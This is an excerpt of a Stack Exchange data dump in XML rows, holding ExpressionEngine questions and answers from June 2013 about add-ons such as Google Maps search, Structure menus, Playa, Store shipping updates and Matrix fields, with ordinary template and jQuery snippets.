  <row Id="11469" PostTypeId="1" AcceptedAnswerId="11532" CreationDate="2013-06-25T09:19:58.317" Score="1" ViewCount="147" Body="&lt;p&gt;We are using the add-on on a German site using the following code to fetch results within 50km of the town/city or postcode searched;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:gmap:search&#xA;    cache_post=&quot;false&quot;&#xA;    channel=&quot;salons_de&quot;&#xA;    latitude_field=&quot;cf_salons_de_latitude&quot;&#xA;    longitude_field=&quot;cf_salons_de_longitude&quot;&#xA;    distance_field=&quot;distance_max&quot;&#xA;    metric=&quot;kilometers&quot;&#xA;}&#xA;    &amp;lt;div class=&quot;txt&quot;  style=&quot;float:left; margin-right:30px;&quot;&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; name=&quot;location&quot; value=&quot;{if post:location}{post:location}{/if}&quot; placeholder=&quot;Stadt oder Postleitzahl eingeben&quot; /&amp;gt;&#xA;        &amp;lt;input type=&quot;hidden&quot; name=&quot;status&quot; value=&quot;open&quot; /&amp;gt;&#xA;        &amp;lt;input type=&quot;hidden&quot; name=&quot;distance_max&quot; value=&quot;50&quot; /&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;input class=&quot;viewbtn3&quot; style=&quot;float:left;&quot; value=&quot;Suchen&quot; type=&quot;submit&quot;&amp;gt;&#xA;{/exp:gmap:search}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, it’s not returning results for 'some' zipcodes, even though I’m searching for the exact zipcode entered for an entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wondered if anyone else has had experience with this? :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="466" LastActivityDate="2013-07-03T14:15:03.690" Title="Google Maps for ExpressionEngine returning no results for zipcodes that exist" Tags="|google-maps-for-ee|google-maps|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11470" PostTypeId="1" CreationDate="2013-06-25T10:21:13.717" Score="3" ViewCount="574" Body="&lt;p&gt;I'm using the structure add-on and want to generate my main menu with it's submenu.&#xA;In HTML it should look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul id=&quot;navigation&quot; class=&quot;toplevel&quot;&amp;gt;&#xA;  &amp;lt;li&amp;gt;&amp;lt;a class=&quot;icon-home&quot; href=&quot;&quot;&amp;gt;Home&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt; &#xA;  &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;item 2&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;  &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot; class=&quot;top active&quot;&amp;gt;item 3&amp;lt;/a&amp;gt;&#xA;    &amp;lt;div class=&quot;sublevel&quot;&amp;gt;&#xA;      &amp;lt;ul class=&quot;container&quot;&amp;gt;&#xA;        &amp;lt;li&amp;gt;&amp;lt;a class=&quot;active&quot; href=&quot;&quot;&amp;gt;subitem 3.1&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;&quot;&amp;gt;subitem 3.2&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;&quot;&amp;gt;subitem 3.3&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;      &amp;lt;/ul&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;  &amp;lt;/li&amp;gt;&#xA;  &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;item 4&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;  &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;item 5&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;  &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;item 6&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Using the structure code I should use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:structure:nav start_from=&quot;/&quot; show_depth=&quot;2&quot; css_class=&quot;toplevel&quot; css_id=&quot;navigation&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But this gives me the following HTML&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;  &amp;lt;li&amp;gt;&amp;lt;/li&amp;gt;&#xA;  &amp;lt;li&amp;gt;&amp;lt;/li&amp;gt;&#xA;  &amp;lt;li&amp;gt;&#xA;    &amp;lt;a href=&quot;&quot;&amp;gt;item 3&amp;lt;/a&amp;gt;&#xA;    &amp;lt;ul&amp;gt;&#xA;      &amp;lt;li class=&quot;first&quot;&amp;gt;&amp;lt;/li&amp;gt;&#xA;      &amp;lt;li&amp;gt;&amp;lt;/li&amp;gt;&#xA;      &amp;lt;li class=&quot;last&quot;&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;/ul&amp;gt;&#xA;  &amp;lt;/li&amp;gt;&#xA;  &amp;lt;li&amp;gt;&amp;lt;/li&amp;gt;&#xA;  &amp;lt;li&amp;gt;&amp;lt;/li&amp;gt;&#xA;  &amp;lt;li&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does anyone know how to fix the menu as I suggested..?&lt;/p&gt;&#xA;" OwnerUserId="1700" LastEditorUserId="1700" LastEditDate="2013-06-25T10:28:18.423" LastActivityDate="2013-06-26T13:06:22.830" Title="Using structure and style submenu" Tags="|add-on|structure|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11472" PostTypeId="1" AcceptedAnswerId="11473" CreationDate="2013-06-25T10:56:47.503" Score="0" ViewCount="166" Body="&lt;p&gt;I'm using the &lt;code&gt;{exp:playa:total_parents}&lt;/code&gt; tag with a &lt;code&gt;search:comment_matrix_row='={segment_3}'&lt;/code&gt; parameter, but it appears to ignore the search-parameter. Is that expected behavior?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Steven&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="195" LastActivityDate="2013-06-25T11:51:47.790" Title="Playa total_parents tag vs search parameter" Tags="|playa|search|parameters|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11473" PostTypeId="2" ParentId="11472" CreationDate="2013-06-25T11:51:47.790" Score="0" Body="&lt;p&gt;Yes that’s expected. The &lt;code&gt;search:field_name=&lt;/code&gt; parameters are actually handled by Channel Entries, which Playa calls at the end of &lt;code&gt;{exp:playa:parents}&lt;/code&gt; and &lt;code&gt;{exp:playa:children}&lt;/code&gt; only.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We should probably update the Playa docs to list out specifically which tags &lt;code&gt;total_parents&lt;/code&gt;, &lt;code&gt;total_children&lt;/code&gt;, &lt;code&gt;parent_ids&lt;/code&gt;, and &lt;code&gt;child_ids&lt;/code&gt; actually support, as their list is much smaller than &lt;code&gt;parents&lt;/code&gt; and &lt;code&gt;children&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2013-06-25T11:51:47.790" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11474" PostTypeId="2" ParentId="7049" CreationDate="2013-06-25T12:22:28.750" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/7056/which-twitter-plugins-are-compatible-with-the-new-v1-1-api/7057#7057&quot;&gt;This thread&lt;/a&gt; has a whole list of Twitter plugins that will work with the new Twitter v1.1 API.&lt;/p&gt;&#xA;" OwnerUserId="26" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2013-06-25T12:22:28.750" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11475" PostTypeId="2" ParentId="11401" CreationDate="2013-06-25T12:28:33.513" Score="0" Body="&lt;p&gt;There was a conflict between the &lt;a href=&quot;https://github.com/click-rain/EE_Twitter&quot; rel=&quot;nofollow&quot;&gt;Click Rain Twitter&lt;/a&gt; and NSM Twitter modules. As of this morning, the Click Rain Twitter module is &lt;a href=&quot;https://github.com/click-rain/EE_Twitter/pull/21&quot; rel=&quot;nofollow&quot;&gt;now changed&lt;/a&gt; to use the table &lt;code&gt;exp_cr_twitter_settings&lt;/code&gt; rather than &lt;code&gt;exp_twitter_settings&lt;/code&gt;, avoiding the conflict.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Disclosure: I work for &lt;a href=&quot;http://clickrain.com&quot; rel=&quot;nofollow&quot;&gt;Click Rain&lt;/a&gt; and help maintain the plugin when possible.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="26" LastActivityDate="2013-06-25T12:28:33.513" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11476" PostTypeId="2" ParentId="10368" CreationDate="2013-06-25T12:37:20.660" Score="2" Body="&lt;p&gt;Coming back way later, but good job adding this functionality to &lt;a href=&quot;http://github.com/click-rain/EE_Twitter&quot; rel=&quot;nofollow&quot;&gt;EE Twitter&lt;/a&gt;. And many thanks. The beauty of open source, eh?&lt;/p&gt;&#xA;" OwnerUserId="26" LastActivityDate="2013-06-25T12:37:20.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11477" PostTypeId="1" CreationDate="2013-06-25T14:14:06.030" Score="1" ViewCount="276" Body="&lt;p&gt;I have a future project that I am working on quoting and they have a need for a pretty active community forum. I would love to be able to use the EE Discussion Module but would have a few things that would be preferred to be included. Here are a few...&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;A WYSIWYG editor for forum posts. Most of the people who use this forum would not be considered techinical gurus, and anything that looks like code would decrease the usage.&lt;/li&gt;&#xA;&lt;li&gt;Multiple file upload, without previewing or reloading the page.&lt;/li&gt;&#xA;&lt;li&gt;&quot;like&quot; or rating for forum topics or posts.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Beyond that there are other things the client would like but can be handled by using the forum templates, - social sharing, light boxes for images, etc...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have already purchased teh Scaffold theme which gives a great starting point for theming and moving forward but I think what is going to be more difficult is core functionality of the module. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally it would be perfect if I could just replace each section of the forum with a field type add-on and then i could extend it on the fly anytime, but that's impossible from my understanding. I did have one twitter reply that discussed creating your own forum with channels and SafeCracker but as discussed performance could be an issue and I dont see the need to reinvent the wheel if its not needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone who has had experience or could forward me in the right direction from some more advanced Discussion module usage please let me know.&lt;/p&gt;&#xA;" OwnerUserId="386" LastActivityDate="2013-11-30T20:03:52.903" Title="Extending the EE Discussion Module" Tags="|forum|discussion|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11478" PostTypeId="1" CreationDate="2013-06-25T14:17:14.000" Score="2" ViewCount="50" Body="&lt;p&gt;Is there a setting to force the stock EE captcha to use a random string instead of the word list in /config/captcha.php?&#xA;I was able to do it by copying the random string generator from the captcha_helper.php file and use that in the captcha.php file to feed the array a random string.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just wondering if there is some hidden configuration to do this instead of hacking a file.&lt;/p&gt;&#xA;" OwnerUserId="315" LastActivityDate="2013-09-23T20:46:28.417" Title="Force stock captcha to random string?" Tags="|captcha|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11479" PostTypeId="2" ParentId="11470" CreationDate="2013-06-25T14:22:26.880" Score="2" Body="&lt;p&gt;Right now, you would need to use the Structure Entries plugin for custom nav markup: &lt;a href=&quot;http://devot-ee.com/add-ons/structure-entries&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/structure-entries&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="726" LastActivityDate="2013-06-25T14:22:26.880" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11480" PostTypeId="2" ParentId="10446" CreationDate="2013-06-25T14:23:20.403" Score="1" Body="&lt;p&gt;You can parse the Forum template through the normal template parsing engine, it has it caveats but it might get what you looking for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/forum/other_features.html#running-the-forums-through-regular-templates&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/modules/forum/other_features.html#running-the-forums-through-regular-templates&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="386" LastActivityDate="2013-06-25T14:23:20.403" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11481" PostTypeId="2" ParentId="7049" CreationDate="2013-06-25T15:54:43.410" Score="1" Body="&lt;p&gt;I was using Twitter-Timeline and migrated to &lt;a href=&quot;https://github.com/click-rain/EE_Twitter/&quot; rel=&quot;nofollow&quot;&gt;EE Twitter by Click Rain&lt;/a&gt;, it was quick and easy and worked well. I had to make just a couple of template changes and i was off to the races.&lt;/p&gt;&#xA;" OwnerUserId="386" LastActivityDate="2013-06-25T15:54:43.410" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11482" PostTypeId="1" CreationDate="2013-06-25T16:06:29.770" Score="3" ViewCount="43" Body="&lt;p&gt;I updated from 4.3 to 4.4, I followed the update guide, and in the step &quot;Go to Add-Ons → Fieldtypes → Playa to trigger Playa’s update script.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do not see any button to do that, of it is done automatically?&lt;/p&gt;&#xA;" OwnerDisplayName="user1631" LastActivityDate="2013-06-25T21:47:01.213" Title="trigger Playa’s update script" Tags="|playa|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11483" PostTypeId="2" ParentId="11456" CreationDate="2013-06-25T16:12:14.063" Score="2" Body="&lt;p&gt;To follow up on this using some of the logic Justin explains below I came up with a solution that also updates available shipping methods, shipping cost &amp;amp; order total when either shipping_country or shipping_method dropdowns are changed. &lt;a href=&quot;http://bit.ly/16x5VOY&quot; rel=&quot;nofollow&quot;&gt;http://bit.ly/16x5VOY&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&#xA;$(document).ready(function() {&#xA;    $(&quot;#shipping_country,#shipping_method&quot;).change(function() {&#xA;        var url = $(this.form).attr('action');&#xA;        var data = $(this.form).serialize();&#xA;        $.post(url, data, function() {&#xA;            /* Update Method */&#xA;            $('#shipping_method').load('/store_example/_update-form #shipping_method');&#xA;            /* Update Cost */&#xA;            $('.shipping-cost').load('/store_example/_update-form .shipping-cost');&#xA;            /* Update Total */&#xA;            $('.order-total').load('/store_example/_update-form .order-total');&#xA;        });&#xA;        return false;&#xA;    });&#xA;});&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Having some trouble getting the AJAX posts to update properly, hopefully someone from store can chime in as there is very little documentation on a practical use of shipping methods. The main problem involves when switching dropdown shipping_country from US &gt; France the shipping_cost &amp;amp; order_total values don't update. If then switch from France &gt; United Kingdom the values do change as expected. This may be more of syntax question, but will definitely help future store users trying to replicate the same functionality. &lt;/p&gt;&#xA;" OwnerUserId="1420" LastActivityDate="2013-06-25T16:12:14.063" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11484" PostTypeId="1" CreationDate="2013-06-25T17:12:14.520" Score="1" ViewCount="127" Body="&lt;p&gt;We'd like to use the default handling charge as part of Store but in a different way.  We are adding a handling charge to each item but we want it to be separate from shipping and also allow us to rename it on the front end from Handling to whatever we'd like.  The handling charge is actually a Ticketing Fee and on our end having it show up as handling charge is fine we just would like it separate from Shipping and still show shipping as $0 on the front end since we don't ship some products.&lt;/p&gt;&#xA;" OwnerUserId="1703" LastEditorUserId="1703" LastEditDate="2013-06-26T22:25:59.560" LastActivityDate="2013-11-01T22:16:42.880" Title="How do you separate Handling charge from shipping?" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11485" PostTypeId="1" AcceptedAnswerId="11486" CreationDate="2013-06-25T18:26:56.567" Score="1" ViewCount="85" Body="&lt;p&gt;Question about the variable &quot;promo_code_value&quot;. When rendered in the template, it gives 4 decimal points instead of none. So for example, I want to indicate that there's a 25% discount, so in the template I write:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;{promo_code_value}%&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But instead of &quot;25%&quot;, it renders &quot;25.0000%&quot;. Is there some way to change that? Have I done something wrong? Don't know maybe if there's a configuration setting somewhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1679" LastActivityDate="2013-06-25T18:39:24.290" Title="Promo Code Value" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11486" PostTypeId="2" ParentId="11485" CreationDate="2013-06-25T18:39:24.290" Score="2" Body="&lt;p&gt;You can use &quot;Number Format&quot; plugin (&lt;a href=&quot;http://devot-ee.com/add-ons/number-format&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/number-format&lt;/a&gt;) and can use it like: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:number_format number=&quot;{promo_code_value}&quot;}%&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-06-25T18:39:24.290" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11487" PostTypeId="1" CreationDate="2013-06-25T18:58:55.983" Score="1" ViewCount="130" Body="&lt;p&gt;--&lt;strong&gt;Update&lt;/strong&gt;--&lt;br/&gt; &#xA;Got the loop to work and content pulls in (forgot to put my {exp:channel:entries} tag pair around the safecracker tags). Styling was pretty simple, but I had to change the wygwam field to a text field. Any thoughts on how to accomplish this with a wygwam field?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also when I update the page, the content is saving as new rows instead of editing the current ones. I think it has something to do with the hidden field (which I thought I needed to include) but when I take that field out, I get an error from Expression Engine telling me that the timeline field is required. Am I missing something?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Link to image of timeline with editable fields: &lt;a href=&quot;http://madhousedev.com/bgsumicro/images/timeline_edit.png&quot; rel=&quot;nofollow&quot;&gt;http://madhousedev.com/bgsumicro/images/timeline_edit.png&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my current code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;timeline&quot;&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;timeline-year&quot;&amp;gt;&#xA;        &amp;lt;h3&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;section_3_year&quot; id=&quot;section_3_year&quot; value=&quot;{section_3_year}&quot; class=&quot;heading&quot;&amp;gt;&amp;lt;/h3&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;section_3_timeline[row_order][]&quot; value=&quot;row_new_0&quot; /&amp;gt;&#xA;&#xA;    {section_3_timeline}    &#xA;        &amp;lt;div class=&quot;{switch='pull-left|pull-right'} time-item&quot; {if row_id == 23}style=&quot;margin-top:0px;&quot;{/if}&amp;gt;&#xA;            &amp;lt;h3&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;section_3_timeline[row_new_0][col_id_23]&quot; id=&quot;section_3_timeline[row_new_0][col_id_23]&quot; value=&quot;{date}&quot; class=&quot;subheading&quot;&amp;gt;&amp;lt;/h3&amp;gt;&#xA;            &amp;lt;div class=&quot;line&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;            &amp;lt;textarea name=&quot;section_3_timeline[row_new_0][col_id_24]&quot; id=&quot;section_3_timeline[row_new_0][col_id_24]&quot; style=&quot;width:75%;&quot; class=&quot;animated {switch=' |padded'}&quot;&amp;gt;{description}&amp;lt;/textarea&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    {/section_3_timeline}&#xA;&#xA;    &amp;lt;div class=&quot;clearfix&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;timeline-middle&quot;&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;little-square&quot;&amp;gt;square&amp;lt;/div&amp;gt;&#xA;&#xA;        {section_3_timeline_end}&#xA;            &amp;lt;input type=&quot;hidden&quot; name=&quot;section_3_timeline_end[row_order][]&quot; value=&quot;row_new_0&quot; /&amp;gt;&#xA;            &amp;lt;h3&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;section_3_timeline_end[row_new_0][col_id_25]&quot; id=&quot;section_3_timeline_end[row_new_0][col_id_25]&quot; value=&quot;{date}&quot; class=&quot;subheading centered&quot;&amp;gt;&amp;lt;/h3&amp;gt;&#xA;            &amp;lt;textarea name=&quot;section_3_timeline_end[row_new_0][col_id_24]&quot; id=&quot;section_3_timeline_end[row_new_0][col_id_26]&quot; style=&quot;width:75%;&quot; class=&quot;animated centered&quot;&amp;gt;{description}&amp;lt;/textarea&amp;gt;&#xA;        {/section_3_timeline_end}&#xA;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;--&lt;strong&gt;Original Question&lt;/strong&gt;--&lt;br/&gt;&#xA;I have created a timeline styled matrix with expression engine that consists of a text input (date) and a wygwam field (description). I'm hoping to create a safecracker form that allows users to update the content while maintaining as much of the original formatting as possible. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've read documentation about how to separate the matrix fields, but can't find anything on how to make it work with wygwam. I'm also having issues pulling in the original content and getting my loop to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions of what to try next would be greatly appreciated!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a link to what the final output should look like: &lt;a href=&quot;http://madhousedev.com/bgsumicro/images/timeline.png&quot; rel=&quot;nofollow&quot;&gt;http://madhousedev.com/bgsumicro/images/timeline.png&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the original markup:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;timeline&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;timeline-year&quot;&amp;gt;&amp;lt;h3&amp;gt;{section_3_year}&amp;lt;/h3&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;!--- This is the loop that makes each entry --&amp;gt;&#xA;    {section_3_timeline}    &#xA;        &amp;lt;div class=&quot;{switch='pull-left|pull-right'} time-item&quot; {if row_id == 23}style=&quot;margin-top:0px;&quot;{/if}&amp;gt;&#xA;            &amp;lt;h3&amp;gt;{date}&amp;lt;/h3&amp;gt;&#xA;            &amp;lt;div class=&quot;line&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;            {description}&#xA;        &amp;lt;/div&amp;gt;&#xA;    {/section_3_timeline}&#xA;&#xA;    &amp;lt;div class=&quot;clearfix&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;timeline-middle&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;little-square&quot;&amp;gt;square&amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;!--- This is ending entry - separate matrix field --&amp;gt;&#xA;        {section_3_timeline_end}&#xA;            &amp;lt;h3&amp;gt;{date}&amp;lt;/h3&amp;gt;&#xA;            {description}&#xA;        {/section_3_timeline_end}&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;clearfix&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1704" LastEditorUserId="69" LastEditDate="2013-08-18T19:06:28.883" LastActivityDate="2013-08-18T19:06:28.883" Title="Separating Matrix Fields for Use with SafeCracker (Wygwam Fields)" Tags="|channel-entries|matrix|safecracker|wygwam|pixelandtonic|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11488" PostTypeId="2" ParentId="11477" CreationDate="2013-06-25T19:04:11.973" Score="2" Body="&lt;p&gt;For the all of your 3 required points, the EE discussion forum module file will need to be altered. Yes, the discussion forum have some hooks but those hooks wouldn't be helpful for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Yes, A WYSIWYG editor can be inserted by updating the template files and including necessary JS. Also, the file upload path should be well defined, module file also need to be altered so that it can parse WYSIWYG contents properly rather than current encoding process.&#xA;I think, this requirement can be achieved by just inserting WYSIWYG editor into the template as it will store row HTML code which will be parsed at browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) In the multiple file upload, (i) you need to give member facility to upload more than one files with any thread which can be achieved by some JQuery stuffs or plugin, if you would like to have simple just put a constant number of file fields. (ii) you will be need to process all those uploaded files and save the info within the database table. I think, this would be managed within the database table &quot;exp_forum_attachments&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) For the &quot;like&quot; or rating for forum topics or posts, you will need to extend this module by creating some new database tables for managing/storing likes or rating of forum topics or posts, need to create some new actions/methods into module file to process it.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-06-25T19:04:11.973" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11489" PostTypeId="2" ParentId="11478" CreationDate="2013-06-25T19:39:55.620" Score="3" Body="&lt;p&gt;There is not a hidden config that I'm aware of...&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-06-25T19:39:55.620" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11490" PostTypeId="2" ParentId="11482" CreationDate="2013-06-25T21:47:01.213" Score="3" Body="&lt;p&gt;Just go to the Add-Ons → Fieldtypes → Playa page and the update script will automatically run in the background.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2013-06-25T21:47:01.213" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11492" PostTypeId="1" AcceptedAnswerId="11526" CreationDate="2013-06-25T22:20:38.197" Score="0" ViewCount="198" Body="&lt;p&gt;I have a parent channel of &quot;events&quot; with a relationship field named {cf_event-map} with a singular relationship to an entry in a channel named &quot;maps&quot;. This is the simplified code I'm using, the summary field is displaying fine but the {cf_images} field is an Assets fieldtype, and I can't find a permutation that retrieves the sub-field data from that field.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;events&quot; limit=&quot;1&quot;}&#xA;{cf_event-map:cf_summary}&#xA;{cf_event-map:cf_images}{cf_images:url}{/cf_event-map:cf_images} (this doesn't work)&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="483" LastEditorUserId="483" LastEditDate="2013-06-26T08:05:23.510" LastActivityDate="2013-06-27T15:15:07.490" Title="How do I access Assets field data within a child relationship in 2.6.1" Tags="|pixelandtonic|relationships|assets|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11493" PostTypeId="2" ParentId="11492" CreationDate="2013-06-25T23:35:28.747" Score="1" Body="&lt;p&gt;I think you need to wrap the sub-tags with the tag pair.&lt;br&gt;&#xA;Try:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;events&quot; limit=&quot;1&quot;}&#xA;  {cf_event-map}&#xA;    {cf_event-map:cf_summary}&#xA;    {cf_event-map:cf_images}{cf_images:url}{/cf_event-map:cf_images}&#xA;  {/cf_event-map}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also, inside an Assets loop, you just need to use &lt;code&gt;{url}&lt;/code&gt;. You don't need to prefix it unless you specify it using &lt;code&gt;var_prefix=&quot;my_prefix&quot;&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="100" LastActivityDate="2013-06-25T23:35:28.747" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
